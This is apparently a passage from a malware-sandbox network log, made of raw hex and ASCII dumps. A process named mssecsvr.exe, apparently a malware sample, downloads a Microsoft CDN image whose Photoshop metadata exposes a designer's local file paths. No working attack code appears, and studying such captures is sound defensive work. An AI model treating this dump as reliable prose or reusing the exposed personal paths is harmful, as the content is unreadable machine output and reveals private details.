{*::Tq/q%x]mn"\|vfZFJI6DM6y`@k$ksl'6q\|PK1>Z W0$~Qf
2022-07-20 17:09:02 UTC	9404	IN	Data Raw: 3e 16 0e af fc b6 9b ca f8 68 9c 09 28 9c 44 77 52 69 b3 64 83 06 00 a2 40 e1 89 f6 6b 4c 8e 21 4c 40 34 31 e3 20 0b a5 84 41 d7 f7 ea c7 32 a5 a6 3b 7d ea 2f 88 ca ac ab 30 dc 69 59 96 e2 64 1f ad 43 06 31 0c dc 50 7c 3d db bd ea 57 64 56 24 46 35 3b 03 77 1d fd ca 39 f3 01 91 d1 83 e4 83 c4 c7 bc ed 59 b2 7f 6e c4 c1 f2 64 27 1a 01 aa c8 fb 56 f9 d4 c9 d5 a8 76 ee 12 78 91 8f 8a b1 87 26 38 99 e3 4e 2a 1d 17 4c be 88 47 03 21 3a 5c a0 77 5f de a3 d3 f5 68 19 6e 01 06 8d 6f bd 4b d2 b6 00 01 05 a4 8d dc d7 d6 45 c0 b8 f1 80 39 b6 5d e6 a1 83 a6 2b 94 31 d4 9e d9 e7 fd 9a 7e a7 aa 33 90 82 c0 fb 07 86 b2 61 e9 09 0a 41 67 73 ac 0f e2 6e 0a c7 89 b1 3e 1c 89 8c 16 20 73 99 2a cd fe dd 63 7f c0 2a d6 72 a1 51 f7 6f ef 55 dd 33 39 cd 94 59 c2 60 41 e6 c7 ee Data Ascii: >h(DwRid@kL!L@41 A2;}/0iYdC1P\|=WdV$F5;w9Ynd'Vvx&8NLG!:\w_hnoKE9]+1~3aAgsn> sc*rQoU39Y`A
2022-07-20 17:09:02 UTC	9420	IN	Data Raw: 17 17 c3 4b d4 05 8c 58 03 5a a3 67 10 b5 6b 27 ab 27 21 60 55 66 16 7c 5e ed 3a e2 28 49 5b c8 07 c3 dd a4 72 21 b1 dc cc 8d da 47 37 bb 59 bf b9 f5 6a 1f 28 7b 70 63 ec 2d cd 97 e1 ac 83 09 fb 46 b5 52 36 0d 38 db de a9 ba e6 61 c4 49 df 4f 8d d4 ab 05 ba 3c b4 b9 59 f5 c8 e0 2a ef 62 6b f3 5e a0 bb 1b 48 b7 60 31 c5 4e cf 24 64 33 f2 9a 05 8c 6c db b6 81 61 1b 8d 33 a3 1d 01 02 7b 68 62 ea 58 96 12 df 25 62 c3 88 11 81 8d 8c 63 79 e1 ba 87 45 8b 21 66 02 f0 4e bb 79 a8 75 b8 1b 4e 56 03 db cd 58 3a ae 90 12 e4 b4 f6 02 29 fa 8c 71 e9 c8 b8 7b dc cb 59 33 e3 16 64 06 50 fc b4 70 65 37 2c 92 20 ec a4 24 30 cc 11 86 9d 91 59 3a 2e a0 f0 44 80 c2 97 21 e6 06 45 7a f8 bf 97 02 7d 86 a4 72 f7 85 4f 4e 64 32 40 1b b5 a6 fc d1 b7 36 3e 43 b9 83 70 64 c5 f3 29 Data Ascii: KXZgk''!`Uf\|^:(I[r!G7Yj({pc-FR68aIO<Y*bk^H`1N$d3la3{hbX%bcyE!fNyuNVX:)q{Y3dPpe7, $0Y:.D!Ez}rONd2@6>Cpd)
2022-07-20 17:09:02 UTC	9424	IN	Data Raw: 89 5a 41 1b 8f f1 52 b9 1f cc 05 4f 95 a9 59 74 00 91 ae cd 68 be 41 a3 30 9a 57 c2 34 ba 48 03 65 32 ae 87 68 14 f8 f2 11 a8 d2 ea 29 8e 75 ec ab 58 ea 77 1a 22 20 46 ca bc 2b 05 1e ca 55 65 d7 7f f0 d7 a2 09 0a 06 be c3 dd a4 70 d7 12 64 9f df 4a 73 99 83 33 c1 43 bd 4f 86 9d 58 03 71 95 3e ca 28 8a 6d 2f cc 76 53 67 ca bc 39 0c a1 3e ce 6a bd 60 82 35 d2 84 68 0e ea 7c 73 c4 ba 88 db 34 f8 ba 8e 23 b0 36 f0 28 e4 3c 0f 02 3b 22 97 1e 55 5f 52 60 30 ec f0 b5 03 8c c6 9a fb 0f 7a 88 cc 78 6f 01 86 e2 8d cd 41 71 34 03 c4 a2 76 a9 e5 65 a4 fe e2 01 01 c5 93 ed 1d ef 8a 9f 3b 91 eb e2 62 86 7b d2 2e c2 b4 bd 5f 4b 1c aa 85 49 de 3f 0e 9b 26 40 53 22 b8 58 27 b6 9b 3b 08 ca 61 9b cd 1c cd ef 57 e7 71 15 75 9f 4d 91 c6 d5 6e eb 7f f7 16 b1 74 f9 14 ab 28 52 Data Ascii: ZAROYthA0W4He2h)uXw" F+UepdJs3COXq>(m/vSg9>j`5h\|s4#6(<;"U_R`0zxoAq4ve;b{._KI?&@S"X';aWquMnt(R
2022-07-20 17:09:02 UTC	9440	IN	Data Raw: 6c 4d 28 c0 34 7b 69 57 ac 17 2e aa 4e f0 0f 87 dc a2 98 e0 05 92 1b e4 fa d4 71 39 1c 4a 08 3b b8 a8 2b a9 56 c6 74 61 bc 52 15 32 54 1e 1d c5 4f 35 be 6a 7c b8 cc 3a c9 65 34 9d 47 55 86 7a 56 d0 ce c8 3c 37 2d 1e b7 fb 7a 83 d3 8e 74 9e 24 f3 79 92 80 ea d2 5c 6c 70 24 47 9a ad b8 64 56 3a 46 d5 a3 66 99 31 92 40 3e 1a 05 44 02 40 f9 0d 0c d9 f8 b1 2a 48 61 c3 c7 cb c2 de 46 ac 5d 48 e1 47 40 58 4c c3 77 be b5 15 22 e6 69 ff 00 9a 91 d3 66 c3 48 fd d9 9f 92 ae c4 c2 c7 06 c2 4e c2 7b b5 39 e2 c6 d9 da ad df fd aa fc bb 5a 42 8e 12 47 32 79 5b c7 4d 84 ad c1 1c c7 d1 a4 06 52 1a 75 d8 27 99 e9 d7 1c 30 06 e0 ca 66 e5 af b5 e2 56 3b 7c 26 8e 29 b8 0d 44 ed 1e ed 0c 38 96 e7 3a 2f e9 e6 7a 66 07 d5 50 a0 12 74 e2 61 c5 e9 2d 7a 99 0f 0c e8 bb fd e6 a3 91 Data Ascii: lM(4{iW.Nq9J;+VtaR2TO5j\|:e4GUzV<7-zt$y\lp$GdV:Ff1@>D@*HaF]HG@XLw"ifHN{9ZBG2y[MRu'0fV;\|&)D8:/zfPta-z

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.7	53510	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:09:02 UTC	8589	OUT	GET /cms/api/am/imageFileData/RE50sf3?ver=7819 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:09:02 UTC	9446	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE50sf3?ver=7819 Last-Modified: Sat, 02 Jul 2022 18:52:48 GMT X-Source-Length: 1766836 X-Datacenter: northeu X-ActivityId: 4c3c2615-208d-471e-a34a-a362cf0ef3dd Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1766836 Cache-Control: public, max-age=49473 Expires: Thu, 21 Jul 2022 06:53:35 GMT Date: Wed, 20 Jul 2022 17:09:02 GMT Connection: close
2022-07-20 17:09:02 UTC	9447	IN	Data Raw: ff d8 ff e1 17 d0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 34 3a 31 37 20 32 33 3a 33 32 3a 35 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 23.2 (Windows)2022:04:17 23:32:528"
2022-07-20 17:09:02 UTC	9462	IN	Data Raw: 2c e9 02 9b 4b 5f 8a 6d 32 7d cf 70 0d 23 e9 b8 39 bb 9e db 3d df a5 f4 9f fc 85 66 5b 8b 53 32 4b f6 b7 30 ba ab 31 c3 37 5e f2 d6 96 d7 71 ae da 9b 4f e6 d7 4f a9 67 e9 3f 4b fc dd 9f a4 41 c4 fa 74 71 cb 3f 99 fe 7f e9 bf f9 8f fb b1 fb ff 00 f7 63 d3 4a ff 00 f9 54 ff 00 c6 3f f9 ff 00 e9 1f 41 9f cd ff 00 c2 7f a6 ff 00 81 fb 0a 68 bf d2 5d a7 e8 fe 0d a6 ba f2 d7 fe d0 36 fd 99 d0 d3 5b ec 05 cc 1b 3d 5c 7f d2 6d 63 2b fa 5e ae 43 ea ff 00 d2 aa 96 56 71 0d 15 bc 3c 36 b2 5f 48 63 c3 cb 4d 63 d3 be 87 7a cd f7 6e f6 59 e9 bf 7e c5 3e a9 fd 22 ff 00 e7 3f a1 53 f4 78 fe 77 f3 ff 00 ee c7 ee ff 00 d7 55 0b 3f e5 0c 7e 3e 91 fe 77 e8 72 ff 00 e6 3f 93 fe 97 fe 0d 03 5d 76 ff 00 9a bb 5a d3 fb 57 77 50 63 6d 66 4b f6 bd ae dd eb 53 59 6b 9b 63 1c dd 8e Data Ascii: ,K_m2}p#9=f[S2K017^qOOg?KAtq?cJT?Ah]6[=\mc+^CVq<6_HcMcznY~>"?SxwU?~>wr?]vZWwPcmfKSYkc
2022-07-20 17:09:02 UTC	9478	IN	Data Raw: 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 30 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 43 72 6f 70 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 32 3a 31 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 38 39 39 32 37 39 34 5f 31 39 Data Ascii: .psd opened 2016-07-26T10:40:29-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\Crops\Lockscreen_1920x1080_Landscape.psd saved 2016-07-26T10:42:18-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-148992794_19
2022-07-20 17:09:02 UTC	9480	IN	Data Raw: 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 33 35 39 36 38 37 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 39 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 33 31 34 39 32 31 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 31 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c Data Ascii: yle_GettyImages-593596873_1920x1080.jpg saved 2016-07-26T10:59:54-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-113149214_1920x1080.jpg saved 2016-07-26T11:01:31-07:00 File C:\Users\v-lizagh\MS\Windows10\
2022-07-20 17:09:02 UTC	9496	IN	Data Raw: 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 33 54 31 32 3a 31 34 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 33 54 31 32 3a 31 39 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 46 61 6c 6c 54 56 5c 46 61 6c 6c 54 56 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 32 36 31 30 33 32 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 33 54 Data Ascii: en_1920x1080_Landscape.psd saved 2016-09-13T12:14:13-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2016-09-13T12:19:28-07:00 File C:\Users\v-lizagh\MS\Windows10\FallTV\FallTV_GettyImages-562610323_1920x1080.jpg saved 2016-09-13T
2022-07-20 17:09:02 UTC	9512	IN	Data Raw: 35 39 3a 31 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 34 39 43 45 36 31 41 33 35 44 34 38 32 35 42 30 39 39 42 36 34 30 30 33 36 44 41 38 37 32 38 38 34 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 32 32 3a 30 38 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 Data Ascii: 59:17-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape49CE61A35D4825B099B640036DA872884.psb saved 2016-11-10T22:08:53-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Ad
2022-07-20 17:09:02 UTC	9520	IN	Data Raw: 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 34 3a 35 30 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 35 39 39 32 38 38 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 34 3a 35 31 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 Data Ascii: 080.psd saved 2016-11-23T14:50:48-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImages-485992886_1920x1080.jpg saved 2016-11-23T14:51:29-08:00 File C:\Users\v-lizagh\MS\Windows10\Offic
2022-07-20 17:09:02 UTC	9536	IN	Data Raw: 5c 4d 49 54 2d 4e 41 53 43 41 52 2d 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 39 30 39 31 36 33 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 30 39 3a 31 30 3a 33 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 31 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 30 39 3a 31 35 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 Data Ascii: \MIT-NASCAR-Feb_GettyImages-469091638_1920x1080.jpg saved 2017-01-30T09:10:36-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape1.psd saved 2017-01-30T09:15:12-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe
2022-07-20 17:09:02 UTC	9552	IN	Data Raw: 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 31 39 3a 31 32 3a 31 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 36 54 30 39 3a 30 33 3a 34 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 70 65 63 69 61 6c 4f 6c 79 6d 70 69 63 73 5c 43 48 4f 53 45 4e 5c 53 70 65 63 69 61 6c 4f 6c 79 6d Data Ascii: F47920D5F41D85C30DE643DF5B579.psb saved 2017-02-23T19:12:17-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-02-26T09:03:43-08:00 File C:\Users\v-lizagh\MS\Windows10\SpecialOlympics\CHOSEN\SpecialOlym
2022-07-20 17:09:02 UTC	9559	IN	Data Raw: 2d 30 33 2d 31 35 54 31 36 3a 32 31 3a 31 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 49 6e 6b 50 65 6e 5c 43 48 4f 53 45 4e 5c 53 75 72 66 61 63 65 2d 49 6e 6b 50 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 33 33 34 35 36 38 37 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54 31 36 3a 32 33 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 49 6e 6b 50 65 6e 5c 43 48 4f 53 45 4e 5c 53 75 72 66 61 63 65 2d 49 6e 6b 50 65 6e 5f 47 65 74 74 79 49 Data Ascii: -03-15T16:21:10-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\InkPen\CHOSEN\Surface-InkPen_GettyImages-5433456879_1920x1080.jpg saved 2017-03-15T16:23:47-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\InkPen\CHOSEN\Surface-InkPen_GettyI
2022-07-20 17:09:02 UTC	9575	IN	Data Raw: 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 6f 6d 54 6f 6f 6c 73 5c 43 48 4f 53 45 4e 5c 45 6d 70 6f 77 65 72 69 6e 67 54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 36 37 37 36 36 37 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 38 54 31 30 3a 35 38 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 6f 6d 54 6f 6f 6c 73 5c 43 48 4f 53 45 4e 5c 45 6d 70 6f 77 65 72 69 6e Data Ascii: le C:\Users\v-lizagh\MS\Windows10\Microsoft\EmpoweringClassroomTools\CHOSEN\EmpoweringTools_GettyImages-486776676_1920x1080.jpg saved 2017-04-18T10:58:54-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\EmpoweringClassroomTools\CHOSEN\Empowerin
2022-07-20 17:09:02 UTC	9591	IN	Data Raw: 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 35 3a 30 30 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 42 41 5c 4d 61 79 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 42 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 30 34 37 31 33 32 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 Data Ascii: op CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-05-11T15:00:48-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NBA\May\Chosen\Crops\MIT-NBA_GettyImages-120471322_1920x1080.psd saved&#xA
2022-07-20 17:09:02 UTC	9599	IN	Data Raw: 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 38 54 30 39 3a 35 38 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4d 75 73 69 63 46 65 73 74 69 76 61 6c 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4d 75 73 69 63 46 65 73 74 69 76 61 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 34 39 31 31 37 37 31 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 38 54 31 30 3a 30 31 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 Data Ascii: opened 2017-05-18T09:58:08-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\MusicFestival\Chosen\Crops\MIT-MusicFestival_GettyImages-174911771_1920x1080.psd saved 2017-05-18T10:01:08-07:00 File C:\Users\v-lizagh\MS\Windows10\Moments
2022-07-20 17:09:02 UTC	9615	IN	Data Raw: 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 39 54 31 39 3a 34 34 3a 33 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 31 54 31 32 3a 35 37 3a 33 34 2d 30 37 3a Data Ascii: \Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-07-09T19:44:33-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-07-11T12:57:34-07:
2022-07-20 17:09:02 UTC	9631	IN	Data Raw: 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 42 69 6e 67 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 39 34 31 38 35 39 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 34 3a 35 36 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 35 3a 33 33 3a 34 34 2d 30 37 3a 30 30 26 Data Ascii: -lizagh\MS\Windows10\Bing\SpotlightQuiz\_CHOSEN\Crops\BingSpotlightQuiz_shutterstock_19418599_1920x1080.jpg saved 2017-07-31T14:56:35-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-07-31T15:33:44-07:00&
